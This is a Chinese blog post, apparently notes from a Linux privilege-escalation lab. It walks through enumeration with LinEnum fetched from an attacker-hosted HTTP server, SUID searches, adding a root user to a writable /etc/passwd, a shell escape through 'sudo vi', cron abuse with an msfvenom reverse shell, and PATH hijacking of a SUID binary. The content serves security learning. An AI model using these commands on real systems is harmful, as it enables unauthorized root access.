常见 Linux 提权
Common Linux Privesc 记录
常见 Linux 提权的
提权方式:水平提权,垂直提权。
水平提权:这是您通过接管与您处于相同权限级别的不同用户来扩大您对受感染系统的影响的地方。
例如,一个普通用户劫持另一个普通用户(而不是提升为超级用户)。这允许您继承该用户拥有的任何文件和访问权限。例如,这可以用来获得另一个普通特权用户的访问权限,该用户恰好有一个 SUID 文件附加到他们的主目录(稍后会详细介绍),然后可以用来获得超级用户访问权限。
垂直提权:这是您尝试使用您已经泄露的现有帐户获得更高权限或访问权限的地方。对于本地权限升级攻击,这可能意味着劫持具有管理员权限或根权限的帐户。
枚举
使用工具LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
在本地使用python3 -m http.server
然后目标机使用wget htpp://10.10.216.8:8000/LinEnum.sh 下载到本地
chmod +x LinEnum.sh
./LinEnum.sh 执行可查看到/etc/passwd 允许用户写入
cat /etc/passwd 查看user[x]
cat /etc/shells 查看系统可用shell
滥用 SUID/GUID 文件
Linux提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以在文件所有者/组的权限下运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些特权的 shell!
什么是 SUID 二进制文件?
在Linux中一切皆文件,包括目录和设备,它们具有允许或限制三种操作的权限,即读/写/执行。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三种权限的 Linux 用户。
r=读,w=写,x=执行
用户 组 其他
rwx rwx rwx
421 421 421
可用于为每个用户设置权限的最大位数为 7,它是读(4)写(2)和执行(1)操作的组合。
例如,如果您使用“chmod”设置权限为755,那么它将是:rwxr-xr-x
但是,当向每个用户授予特殊权限时,它就变成了 SUID 或 SGID。当额外的位“4”设置为用户
(所有者)时,它变为SUID(设置用户 ID),当位“2”设置为组时,它变为SGID(设置组 ID)
因此,查找SUID时要查找的权限为:
标识符:
rws-rwx-rwx
GUID:
rwx-rws-rwx
使用命令:“find / -perm -u=s -type f 2>/dev/null”在文件系统中搜索 SUID/GUID 文件。
参考find提权:https://www.cnblogs.com/-Lucky-/p/17160491.html
利用可写入的/etc/passwd
了解 /etc/passwd 格式
user71006:0:user7,,,:/home/user7:/bin/bash
用户:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:command/shell
用户名:用户登录时使用。长度应在 1 到 32 个字符之间。
密码:一个 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值,在这种情况下,密码哈希值存储为“ X”。
用户 ID ( UID ):必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 保留,UID 1-99 为其他预定义帐户保留。进一步的 UID 100-999 由系统保留用于管理和系统帐户/组。
组 ID (GID):主要组 ID(存储在 /etc/group 文件中)
用户 ID 信息:评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由 finger 命令使用。
主目录:用户登录时所在目录的绝对路径。如果该目录不存在,则用户目录变为 /
Command/shell:命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个外壳。请注意,它不一定是shell。
这种提权方式为vertical(垂直)
先使用openssl passwd -1 -salt [salt] [passwd] 来生成一个兼容的哈希密码
openssl passwd -1 -salt new 123
得
$1$new$p7ptkEKU1HnaHpRtzNizS1
此时写入/etc/passwd得格式为
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
echo "" >> /etc/passwd
su new 即可
转义vi编辑器
参考语法:https://zhuanlan.zhihu.com/p/155973403
利用 :!command 可直接执行系统命令
sudo -l
使用“sudo -l”来列出您可以作为该帐户的超级用户使用的命令。
发现能够以 root 用户身份运行某些命令而无需 root 密码。这可以让您提升权限。
sudo -l
(root) NOPASSWD: /usr/bin/vi
NOPASSWD
sudo vi
输入
:!sh即可root
利用Crontab
什么是 Cron?
Cron 守护进程是一个长期运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,
既可以作为一次性事件,也可以作为重复性任务。您可以创建一个 crontab 文件,其中包含供
Cron 守护程序执行的命令和说明。
使用命令“cat /etc/crontab”来查看安排了哪些cron 作业。
只要有机会,就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。
参考:https://www.runoob.com/linux/linux-comm-crontab.html
cat /etc/crontab 查看
使用msfvenom生成payload
参考反弹shell https://www.cnblogs.com/-Lucky-/p/17160172.html
写入
echo "" > 文件
即可
利用PATH变量
PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定保存可执行程序的目录。
当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件以响应用户执行的命令。
假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 来做一个基本的过程,
比如用“ps”列出进程。与我们之前的 SUID 示例不同,在这种情况下我们无法通过提供命令注入参数来利用它,那么我们可以做些什么来尝试利用它呢?
我们可以将 PATH 变量重新写入我们选择的位置!因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,它运行的是我们编写的文件!
与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法我们可以以 root 身份运行任何我们喜欢的命令!
例如我们有一个suid二进制文件script,运行结果与ls相同
假设此时在/tmp目录下,
此时
echo "/bin/bash" > ls 模仿可执行变量
chmod +x ls 执行权限
export PATH=/tmp:$PATH 修改环境变量为默认/tmp路径下
此时执行script就会去/tmp/下找ls。执行即 root
恢复正常
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games:$PATH
常见 Linux 提权的更多相关文章
- Linux提权中常见命令大全
在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...
- Linux提权:从入门到放弃
*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...
- 20. Linux提权:从入门到放弃
几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...
- Linux提权之:利用capabilities提权
Linux提权之:利用capabilities提权 目录 Linux提权之:利用capabilities提权 1 背景 2 Capabilities机制 3 线程与文件的capabilities 3. ...
- Linux提权(1)-基础版~
利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...
- 又一款linux提权辅助工具
又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...
- 记一次初步Linux提权
前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...
- 利用Metasploit进行Linux提权
利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...
随机推荐
- 关于ul点击事件委托给li时的鼠标拖动问题
网上查看后发现Click可以被两个事件触发:mouseUp与mouseDown,即点击和松开时都会触发一次. 随后当我从一个li点击拖动到其他li松开时,触发的事件对象因为冒泡变成了父元素ul,并非我 ...
- 实现一个CRDT工具库——PNCounter
PNCounter 这段代码实现了一个PNCounter,即正负计数器.PNCounter是基于GCounter实现的,GCounter是一个只增不减的计数器,而PNCounter则是在GCounte ...
- PHP微信三方平台-代公众号发起微信支付(jsAPI)
一.前期准备工作 1.微信公众号需要开通微信支付认证将获取的秘钥给三方平台 2.添加支付回调域名地址:填写三方平台域名地址即可(最多5个) 二.代码demo 1.完成支付类 <?php /** ...
- 使用Electron-packager打包已有的web项目,发布客户端
1.先拉electron代码 git clone https://github.com/electron/electron-quick-start 2.将web项目拷贝到electron-quick- ...
- w11修改ie保护模式方法
IE安全设置下有4个区域 对应的设置在不同的注册表中.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Set ...
- Java线程池浅析
1. 什么是线程池?我们为什么需要线程池? 线程池即可以存放线程的容器,若干个可执行现成在"容器"中等待被调度. 我们都知道,线程的生命周期中有以下状态:新建状态(New).就绪状 ...
- Go语言实现简单分布式系统
使用Go语言实现比较简单的分布式系统,这个系统中采用多个分布式模型,即混合模型,并且基于HTTP进行通信,传输JSON数据 github链接: https://github.com/T4t4KAU/d ...
- C++ 基于Capstone实现反汇编器
Capstone是一个反汇编框架,提供了一个简单.轻量级的API接口,可透明地处理大多数流行的指令体系,包括x86/x86-64.ARM及MIPS等.Capstone支持C/C++和Python,并且 ...
- 利用机器人类Robot写出自动登录QQ的小代码
最近写了一个小代码控制鼠标键盘使他自己登录QQ,下面给大家分享下这一小代码. 这段小程序是用Java里的Robot类实现的,控制鼠标键盘的一个机器人类. 我们想要实现自动登录QQ首先得想要做到这一步需 ...
- WPF 引用字体文件资源
外部字体文件 1.后台代码引用字体 将一个名为"ChineseCharacterSpecialFont.ttf"的ttf文件,放在桌面路径,后台引用方式如下: 1 var ttfF ...